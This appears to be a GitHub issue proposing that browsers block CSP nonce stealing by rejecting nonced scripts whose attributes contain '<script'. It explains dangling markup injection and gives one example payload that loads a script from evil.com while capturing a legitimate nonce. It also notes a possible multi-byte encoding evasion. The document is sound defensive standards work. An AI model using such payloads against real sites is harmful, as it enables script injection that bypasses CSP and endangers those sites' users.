Skip to content

Prevent nonce stealing by looking for "<script" in attributes of nonced scripts #98

Closed
@arturjanc

Description

@arturjanc

Context: "Dangling markup injection" can allow attackers to insert unterminated script elements which will consume markup until they encounter a trusted script element with a valid nonce and "steal" the nonce value from a legitimate script, allowing malicious script execution:
http://blog.innerht.ml/csp-2015/#danglingmarkupinjection
http://lcamtuf.coredump.cx/postxss/ (Section 2.1)

This could be prevented by user agents in the following way:

IF the page defines a CSP with a nonce and the browser sees a script with a valid nonce, THEN:

  • Before executing the script check if any of the attribute values (and possibly attribute names) of the script node contain the string "<script" (case-insensitive).
  • If "NO": execute the script. If "YES": treat the script as if the nonce was invalid and don't execute.

The reason this works is that an attacker with an injection point before a legitimately nonced <script> will have to consume markup until it reaches its nonce attribute. This means that the opening tag of the legitimate <script> element (i.e. "<script") will have to appear somewhere between the attacker-injected <script> and the real nonce attribute:
[XSS]<script src=//evil.com injected="[/XSS] <b>markup</b> <script id="foo" nonce="nonce">

In this case, it would be the attacker-controlled injected attribute that would contain the the <script substring; in general, the attacker will not be able to avoid having this string present somewhere in the attributes of their injected element. The browser can use this fact to prevent injected scripts from executing, without affecting any legitimate script (which shouldn't have such unescaped strings in their attributes).

Two caveats:

  • This could also apply to <style and <link which also support nonces -- it would protect pages which use the same nonce for script-src and style-src.
  • If the attacker controls markup right before the beginning of the legitimate <script> tag, and the page allows improperly-encoded output it might be possible to use multi-byte encodings to attempt to evade this check.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions